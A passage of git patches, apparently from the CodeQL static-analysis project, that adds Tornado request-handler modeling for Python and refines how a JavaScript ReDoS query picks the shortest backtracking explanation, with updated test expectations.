("/only-localhost", OnlyLocalhost) # $ routeSetup="/only-localhost" ]), ], debug=True, ) - app.add_handlers(r".*", [(r"/added-later/([0-9]+)/([0-9]+)?", AddedLater)]) # $ MISSING: routeSetup="/added-later/([0-9]+)/([0-9]+)?" + app.add_handlers(r".*", [(r"/added-later/([0-9]+)/([0-9]+)?", AddedLater)]) # $ routeSetup="/added-later/([0-9]+)/([0-9]+)?" return app diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py index 891547b3375..cb41cfe1d7f 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/taint_test.py @@ -2,7 +2,7 @@ import tornado.web class TaintTest(tornado.web.RequestHandler): - def get(self, name = "World!", number="0", foo="foo"): # $ MISSING: requestHandler routedParameter=name routedParameter=number + def get(self, name = "World!", number="0", foo="foo"): # $ requestHandler routedParameter=name routedParameter=number ensure_tainted(name, number) ensure_not_tainted(foo) @@ -72,7 +72,7 @@ class TaintTest(tornado.web.RequestHandler): def make_app(): return tornado.web.Application( [ - (r"/test_taint/([^/]+)/([0-9]+)", TaintTest), # $ MISSING: routeSetup="/test_taint/([^/]+)/([0-9]+)" + (r"/test_taint/([^/]+)/([0-9]+)", TaintTest), # $ routeSetup="/test_taint/([^/]+)/([0-9]+)" ], debug=True, ) From 812ea5dde587c69b23fdf5a5df0cd446daeaeac5 Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 16:29:08 +0100 Subject: [PATCH 0580/1241] Python: Tornado: Model request handlers without known route --- .../src/semmle/python/frameworks/Tornado.qll | 30 +++++++++++++++++-- .../library-tests/frameworks/tornado/basic.py | 2 +- .../frameworks/tornado/routing_test.py | 6 ++-- 3 files changed, 31 insertions(+), 7 deletions(-) diff --git a/python/ql/src/semmle/python/frameworks/Tornado.qll b/python/ql/src/semmle/python/frameworks/Tornado.qll index 59c6ebfeb25..292ea802114 100644 --- a/python/ql/src/semmle/python/frameworks/Tornado.qll +++ b/python/ql/src/semmle/python/frameworks/Tornado.qll @@ -142,6 +142,14 @@ private module Tornado { class RequestHandlerClass extends Class { RequestHandlerClass() { this.getParent() = subclassRef().asExpr() } + /** Gets a function that could handle incoming requests, if any. */ + Function getARequestHandler() { + // TODO: This doesn't handle attribute assignment. Should be OK, but analysis is not as complete as with + // points-to and `.lookup`, which would handle `post = my_post_handler` inside class def + result = this.getAMethod() and + result.getName() = HTTP::httpVerbLower() + } + /** Gets a reference to this class. */ private DataFlow::Node getARef(DataFlow::TypeTracker t) { t.start() and @@ -489,9 +497,7 @@ private module Tornado { override Function getARequestHandler() { exists(tornado::web::RequestHandler::RequestHandlerClass cls | cls.getARef().asCfgNode() = node.getElement(1) and - // TODO: Proper MRO - result = cls.getAMethod() and - result.getName() = HTTP::httpVerbLower() + result = cls.getARequestHandler() ) } @@ -516,4 +522,22 @@ private module Tornado { ) } } + + /** A request handler defined in a tornado RequestHandler class, that has no known route. */ + private class TornadoRequestHandlerWithoutKnownRoute extends HTTP::Server::RequestHandler::Range { + TornadoRequestHandlerWithoutKnownRoute() { + exists(tornado::web::RequestHandler::RequestHandlerClass cls | + cls.getARequestHandler() = this + ) and + not exists(TornadoRouteSetup setup | setup.getARequestHandler() = this) + } + + override Parameter getARoutedParameter() { + // Since we don't know the URL pattern, we simply mark all parameters as a routed + // parameter. This should give us more RemoteFlowSources but could also lead to + // more FPs. If this turns out to be the wrong tradeoff, we can always change our mind. + result in [this.getArg(_), this.getArgByName(_)] and + not result = this.getArg(0) + } + } } diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py index d90ce074319..6733de040b1 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/basic.py @@ -29,7 +29,7 @@ class RedirectHandler(tornado.web.RequestHandler): class BaseReverseInheritance(tornado.web.RequestHandler): - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("hello from BaseReverseInheritance") diff --git a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py index 1e3efa7c611..c9fbc0c91e0 100644 --- a/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py +++ b/python/ql/test/experimental/library-tests/frameworks/tornado/routing_test.py @@ -8,12 +8,12 @@ class FooHandler(tornado.web.RequestHandler): class BarHandler(tornado.web.RequestHandler): - def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y SPURIOUS: routedParameter=not_used self.write("BarHandler {} {}".format(x, y)) class BazHandler(tornado.web.RequestHandler): - def get(self, x, y=None, not_used=None): # $ MISSING: requestHandler routedParameter=x routedParameter=y + def get(self, x, y=None, not_used=None): # $ requestHandler routedParameter=x routedParameter=y SPURIOUS: routedParameter=not_used self.write("BazHandler {} {}".format(x, y)) @@ -51,7 +51,7 @@ class PossiblyNotRouted(tornado.web.RequestHandler): # Even if our analysis can't find a route-setup for this class, we should still # consider it to be a handle incoming HTTP requests - def get(self): # $ MISSING: requestHandler + def get(self): # $ requestHandler self.write("NotRouted") From f9a29cb8862fe29b26bc2f6d6bcc5bcb8e27619f Mon Sep 17 00:00:00 2001 From: Rasmus Wriedt Larsen <rasmuswl@github.com> Date: Tue, 22 Dec 2020 16:34:31 +0100 Subject: [PATCH 0581/1241] Python: Add change-note for tornado source modeling --- python/change-notes/2020-12-22-tornado-source-modeling.md | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 python/change-notes/2020-12-22-tornado-source-modeling.md diff --git a/python/change-notes/2020-12-22-tornado-source-modeling.md b/python/change-notes/2020-12-22-tornado-source-modeling.md new file mode 100644 index 00000000000..bd1e001c50e --- /dev/null +++ b/python/change-notes/2020-12-22-tornado-source-modeling.md @@ -0,0 +1,2 @@ +lgtm,codescanning +* Added modeling of sources of remote user input (`RemoteFlowSource`) when using `tornado` to create HTTP servers, to the new data-flow queries. From 86e33d9d79cb1560f36a373918fe0099081e98a9 Mon Sep 17 00:00:00 2001 From: Erik Krogh Kristensen <erik-krogh@github.com> Date: Thu, 14 Jan 2021 13:37:42 +0100 Subject: [PATCH 0582/1241] select the shortest possible reason --- .../performance/SuperlinearBackTracking.qll | 2 +- .../ReDoS/PolynomialBackTracking.expected | 190 +++++++++--------- 2 files changed, 96 insertions(+), 96 deletions(-) diff --git a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll index 2908960ca5d..f604c3871c5 100644 --- a/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll +++ b/javascript/ql/src/semmle/javascript/security/performance/SuperlinearBackTracking.qll @@ -407,7 +407,7 @@ class PolynomialBackTrackingTerm extends InfiniteRepetitionQuantifier { PolynomialBackTrackingTerm() { reason = getReasonString(this, pump, prefixMsg, prev) and // there might be many reasons for this term to have polynomial backtracking - we pick an arbitary one. - reason = min(string msg | msg = getReasonString(this, _, _, _)) + reason = min(string msg | msg = getReasonString(this, _, _, _) | msg order by msg.length(), msg) } /** diff --git a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected index e44d8596e67..ed016fed419 100644 --- a/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected +++ b/javascript/ql/test/query-tests/Performance/ReDoS/PolynomialBackTracking.expected @@ -3,16 +3,16 @@ | highlight.js:6:12:6:695 | (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|New\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+ | Strings with many repetitions of 'Add' can start matching anywhere after the start of the preceeding (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|New\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+(-)[\\w\\d]+ | | highlight.js:7:13:7:692 | (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+ | Strings with many repetitions of 'Add' can start matching anywhere after the start of the preceeding (Add\|Clear\|Close\|Copy\|Enter\|Exit\|Find\|Format\|Get\|Hide\|Join\|Lock\|Move\|New\|Open\|Optimize\|Pop\|Push\|Redo\|Remove\|Rename\|Reset\|Resize\|Search\|Select\|Set\|Show\|Skip\|Split\|Step\|Switch\|Undo\|Unlock\|Watch\|Backup\|Checkpoint\|Compare\|Compress\|Convert\|ConvertFrom\|ConvertTo\|Dismount\|Edit\|Expand\|Export\|Group\|Import\|Initialize\|Limit\|Merge\|Out\|Publish\|Restore\|Save\|Sync\|Unpublish\|Update\|Approve\|Assert\|Complete\|Confirm\|Deny\|Disable\|Enable\|Install\|Invoke\|Register\|Request\|Restart\|Resume\|Start\|Stop\|Submit\|Suspend\|Uninstall\|Unregister\|Wait\|Debug\|Measure\|Ping\|Repair\|Resolve\|Test\|Trace\|Connect\|Disconnect\|Read\|Receive\|Send\|Write\|Block\|Grant\|Protect\|Revoke\|Unblock\|Unprotect\|Use\|ForEach\|Sort\|Tee\|Where)+(-)[\\w\\d]+ | | highlight.js:14:17:14:52 | [a-z0-9&#*=?@\\\\><:,()$[\\]_.{}!+%^-]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding ([ ]*[a-z0-9&#*=?@\\\\><:,()$[\\]_.{}!+%^-]+)+ | -| highlight.js:18:14:18:16 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | -| highlight.js:18:20:18:22 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | -| highlight.js:18:27:18:29 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | -| highlight.js:18:33:18:69 | [^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+ | Strings with many repetitions of '$' can start matching anywhere after the start of the preceeding ('.*?'\|".*?"\|\\[.*?\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+\|\\.\|\\/)+ | +| highlight.js:18:14:18:16 | .*? | Strings starting with ''' and with many repetitions of ''' can start matching anywhere after the start of the preceeding .*? | +| highlight.js:18:20:18:22 | .*? | Strings starting with '"' and with many repetitions of '"' can start matching anywhere after the start of the preceeding .*? | +| highlight.js:18:27:18:29 | .*? | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding .*? | +| highlight.js:18:33:18:69 | [^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+ | Strings with many repetitions of '$' can start matching anywhere after the start of the preceeding .*? | | highlight.js:19:56:19:61 | [^\\]]+ | Strings starting with '[' and with many repetitions of '[' can start matching anywhere after the start of the preceeding (\\.\|\\.\\/\|\\/)?(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+)((\\.\|\\/)(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+))* | | highlight.js:19:141:19:146 | [^\\]]+ | Strings starting with '"".[' and with many repetitions of '$.[' can start matching anywhere after the start of the preceeding (\\.\|\\.\\/\|\\/)?(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+)((\\.\|\\/)(""\|"[^"]+"\|''\|'[^']+'\|\\[\\]\|\\[[^\\]]+\\]\|[^\\s!"#%&'()*+,.\\/;<=>@\\[\\\\\\]^`{\|}~]+))* | -| highlight.js:22:12:22:82 | ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+ | Strings with many repetitions of 'A\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | -| highlight.js:22:43:22:45 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | -| highlight.js:22:66:22:68 | .*? | Strings starting with 'A<' and with many repetitions of 'A<' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+ | -| highlight.js:22:73:22:80 | [\\*&\\s]+ | Strings starting with 'A' and with many repetitions of '\\tA\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+(?:[a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | +| highlight.js:22:12:22:82 | ((decltype\\(auto\\)\|(?:[a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(?:<.*?>)?)[\\*&\\s]+)+ | Strings with many repetitions of 'A\\t' can start matching anywhere after the start of the preceeding .*? | +| highlight.js:22:43:22:45 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding .*? | +| highlight.js:22:66:22:68 | .*? | Strings starting with 'A<' and with many repetitions of 'A<' can start matching anywhere after the start of the preceeding \\w* | +| highlight.js:22:73:22:80 | [\\*&\\s]+ | Strings starting with 'A' and with many repetitions of '\\tA\\t' can start matching anywhere after the start of the preceeding .*? | | highlight.js:23:13:23:82 | ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+ | Strings with many repetitions of 'A\\t' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | | highlight.js:23:42:23:44 | \\w* | Strings starting with 'A' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | | highlight.js:23:63:23:68 | [^<>]+ | Strings starting with 'A<' and with many repetitions of ';>\\tA<' can start matching anywhere after the start of the preceeding ((decltype\\(auto\\)\|([a-zA-Z_]\\w*::)?[a-zA-Z_]\\w*(<[^<>]+>)?)[\\*&\\s]+)+([a-zA-Z_]\\w*::)?[a-zA-Z]\\w*\\s*\\( | @@ -30,17 +30,17 @@ | polynomial-redos.js:9:19:9:21 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s*\\n\\s* | | polynomial-redos.js:11:19:11:20 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*[/\\\\] | | polynomial-redos.js:12:19:12:20 | .* | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding .*\\. | -| polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | Strings starting with '`' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | -| polynomial-redos.js:15:41:15:43 | \\s* | Strings starting with '`_' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding [\\s\\S]*? | +| polynomial-redos.js:15:28:15:35 | [\\s\\S]*? | Strings starting with '`' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding `+ | +| polynomial-redos.js:15:41:15:43 | \\s* | Strings starting with '`_' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s* | | polynomial-redos.js:16:25:16:32 | [\\s\\S]*? | Strings starting with '`' and with many repetitions of '``' can start matching anywhere after the start of the preceeding `+ | | polynomial-redos.js:17:5:17:6 | .* | Strings with many repetitions of ',' can start matching anywhere after the start of the preceeding (.*,)+ | -| polynomial-redos.js:17:11:17:12 | .+ | Strings starting with ',' and with many repetitions of ',,' can start matching anywhere after the start of the preceeding (.*,)+ | +| polynomial-redos.js:17:11:17:12 | .+ | Strings starting with ',' and with many repetitions of ',,' can start matching anywhere after the start of the preceeding .* | | polynomial-redos.js:18:83:18:100 | [\\u0600-\\u06FF\\/]+ | Strings with many repetitions of '/' can start matching anywhere after the start of the preceeding [\\u0600-\\u06FF\\/]+(\\s*?[\\u0600-\\u06FF]+){1,2} | | polynomial-redos.js:19:17:19:22 | [0-9]* | Strings with many repetitions of '0' can start matching anywhere after the start of the preceeding [0-9]*['a-z\\u00A0-\\u05FF\\u0700-\\uD7FF\\uF900-\\uFDCF\\uFDF0-\\uFFEF]{1,256} | | polynomial-redos.js:20:56:20:58 | \\d+ | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d* | | polynomial-redos.js:22:57:22:59 | \\d+ | Strings with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d* | | polynomial-redos.js:25:37:25:56 | [a-zA-Z0-9+\\/ \\t\\n]+ | Strings starting with '-\\t' and with many repetitions of '\\t\\t' can start matching anywhere after the start of the preceeding [ \\t]+ | -| polynomial-redos.js:25:63:25:64 | .* | Strings starting with '-\\t\\t' and with many repetitions of '=' can start matching anywhere after the start of the preceeding [ \\t]+ | +| polynomial-redos.js:25:63:25:64 | .* | Strings starting with '-\\t\\t' and with many repetitions of '=' can start matching anywhere after the start of the preceeding [=]* | | polynomial-redos.js:30:19:30:22 | [?]+ | Strings with many repetitions of '?' can start matching anywhere after the start of the preceeding [?]+.*$ | | polynomial-redos.js:30:23:30:24 | .* | Strings starting with '?' and with many repetitions of '?' can start matching anywhere after the start of the preceeding [?]+ | | polynomial-redos.js:31:42:31:43 | -+ | Strings with many repetitions of '-' can start matching anywhere after the start of the preceeding -+$ | @@ -76,7 +76,7 @@ | polynomial-redos.js:68:8:68:9 | .* | Strings starting with 'X' and with many repetitions of 'X' can start matching anywhere after the start of the preceeding [^Y].*$ | | polynomial-redos.js:69:8:69:9 | .* | Strings starting with 'X' and with many repetitions of 'X' can start matching anywhere after the start of the preceeding [^Y].*$ | | polynomial-redos.js:71:51:71:63 | [?\\x21-\\x7E]* | Strings starting with ',-+' and with many repetitions of '++' can start matching anywhere after the start of the preceeding [A-Za-z0-9+/]+ | -| polynomial-redos.js:73:50:73:51 | .* | Strings starting with 'MSIE 9.9' and with many repetitions of '9' can start matching anywhere after the start of the preceeding (MSIE) (\\d+)\\.(\\d+).*XBLWP7 | +| polynomial-redos.js:73:50:73:51 | .* | Strings starting with 'MSIE 9.9' and with many repetitions of '9' can start matching anywhere after the start of the preceeding \\d+ | | polynomial-redos.js:75:18:75:19 | .* | Strings starting with '<' and with many repetitions of '<' can start matching anywhere after the start of the preceeding <.*class="([^"]+)".*> | | polynomial-redos.js:75:35:75:36 | .* | Strings starting with '<class="!"' and with many repetitions of 'class="!"' can start matching anywhere after the start of the preceeding .* | | polynomial-redos.js:77:18:77:19 | .* | Strings starting with 'Y' and with many repetitions of 'Y' can start matching anywhere after the start of the preceeding Y.*X | @@ -132,7 +132,7 @@ | regexplib/address.js:75:796:75:798 | \\s+ | Strings starting with '9 a ' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding \\s+ | | regexplib/address.js:75:803:75:811 | [A-Za-z]+ | Strings starting with '9 a ' and with many repetitions of 'A' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/address.js:85:15:85:49 | ([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+ | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (?<Telephone>([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+)([ ]\|[:]\|\\t\|[-])*(?<Where>Home\|Office\|Work\|Away\|Fax\|FAX\|Phone) | -| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | Strings starting with '0' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding (?<Telephone>([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+)([ ]\|[:]\|\\t\|[-])*(?<Where>Home\|Office\|Work\|Away\|Fax\|FAX\|Phone) | +| regexplib/address.js:85:51:85:67 | ([ ]\|[:]\|\\t\|[-])* | Strings starting with '0' and with many repetitions of ' ' can start matching anywhere after the start of the preceeding ([0-9]\|[ ]\|[-]\|[\\(]\|[\\)]\|ext.\|[,])+ | | regexplib/address.js:93:3:93:5 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{4}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{3}\\s*) | | regexplib/address.js:93:48:93:50 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*\\(?0\\d{3}\\)?(\\s*\|-)\\d{3}(\\s*\|-)\\d{4}\\s*) | | regexplib/address.js:93:93:93:95 | \\s* | Strings with many repetitions of ' ' can start matching anywhere after the start of the preceeding (\\s*(7\|8)(\\d{7}\|\\d{3}(\\-\|\\s{1})\\d{4})\\s*) | @@ -141,7 +141,7 @@ | regexplib/email.js:1:16:1:22 | [-.\\w]* | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([-.\\w]*[0-9a-zA-Z])* | | regexplib/email.js:2:5:2:12 | [-._\\w]* | Strings starting with 'a' and with many repetitions of '0' can start matching anywhere after the start of the preceeding (\\w[-._\\w]*\\w@\\w[-._\\w]*\\w\\.\\w{2,3}) | | regexplib/email.js:5:24:5:35 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([_\\.\\-]?[a-zA-Z0-9]+)* | -| regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([\\.\\-]?[a-zA-Z0-9]+)* | +| regexplib/email.js:5:63:5:74 | [a-zA-Z0-9]+ | Strings starting with '0@0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding [A-Za-z0-9]+ | | regexplib/email.js:8:16:8:49 | [^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+ | Strings with many repetitions of '!' can start matching anywhere after the start of the preceeding (?<user>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\"))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\")))*)@(?<domain>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\]))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\])))*) | | regexplib/email.js:8:57:8:84 | (?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))* | Strings starting with '"' and with many repetitions of '\\\\"' can start matching anywhere after the start of the preceeding (?<user>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\"))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\")))*)@(?<domain>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\]))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\])))*) | | regexplib/email.js:8:89:8:174 | (?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\")))* | Strings starting with '!' and with many repetitions of '.!' can start matching anywhere after the start of the preceeding (?<user>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\"))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\"(?:(?:[^\\"\\\\\\r\\n])\|(?:\\\\.))*\\")))*)@(?<domain>(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\]))(?:\\.(?:(?:[^ \\t\\(\\)\\<\\>@,;\\:\\\\\\"\\.\\[\\]\\r\\n]+)\|(?:\\[(?:(?:[^\\[\\]\\\\\\r\\n])\|(?:\\\\.))*\\])))*) | @@ -155,9 +155,9 @@ | regexplib/email.js:15:28:15:30 | \\w* | Strings starting with 'a@a' and with many repetitions of 'aa' can start matching anywhere after the start of the preceeding \\w+ | | regexplib/email.js:20:3:20:6 | \\w+? | Strings with many repetitions of 'a' can start matching anywhere after the start of the preceeding (\\w+?@\\w+?\\x2E.+) | | regexplib/email.js:25:67:25:78 | [a-zA-Z0-9]+ | Strings starting with '0' and with many repetitions of '0' can start matching anywhere after the start of the preceeding ([_\\.\\-]?[a-zA-Z0-9]+)* | -| regexplib/email.js:25:106:25:117 | [a-zA-Z0-9]+ | Strings starting with 